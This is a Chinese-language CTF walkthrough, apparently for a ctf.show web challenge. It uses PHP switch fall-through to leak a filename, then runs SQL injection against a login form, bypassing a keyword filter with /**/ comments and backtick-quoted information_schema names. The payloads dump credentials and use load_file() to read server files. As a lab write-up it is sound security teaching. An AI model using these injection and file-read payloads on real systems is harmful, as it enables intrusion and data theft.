题目源代码如下:
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__);
看起来就是要读取secret.php里的内容..?
switch语句如果不加break会一直向下执行,因此?c=3就很轻松地读取了$url的内容:
here_1s_your_f1ag.php
访问后看到一个登录框,在源代码有提示:
<!--
if(preg_match('/information_schema\.tables|information_schema\.columns|linestring| |polygon/is', $_GET['query'])){
die('@A@');
}
-->
过滤了information_schema.tables、information_schema.columns、linestring、空格polygon。
bp抓包,查询字段数目,只有一个,2报错:
1/**/order/**/by/**/1
查询数据库名(web):
-1/**/union/**/select/**/database()
查询表名(content),information_schema.tables可以用information_schema.`tables`替代,下同。
-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=”web”
查询列名(id,username,password):
-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name=”content”
查询值:
-1/**/union/**/select/**/group_concat(username,0x3b,password)/**/from/**/content
得到的不是flag。。T T:
admin;flag is not here!,gtf1y;wow,you can really dance,Wow;tell you a secret,secret has a secret…
所以还是要读取secret.php的内容。。
查询资料得知mysql提供了读取本地文件的函数load_file():
-1/**/union/**/select/**/load_file(‘/var/www/html/secret.php’)
得到如下代码:
<?php
$url = 'here_1s_your_f1ag.php';
$file = '/tmp/gtf1y';
if(trim(@file_get_contents($file)) === 'ctf.show'){
echo file_get_contents('/real_flag_is_here');
}')
尝试读取下real_flag_is_here,得到flag。
-1/**/union//select/**/load_file(‘/real_flag_is_here’)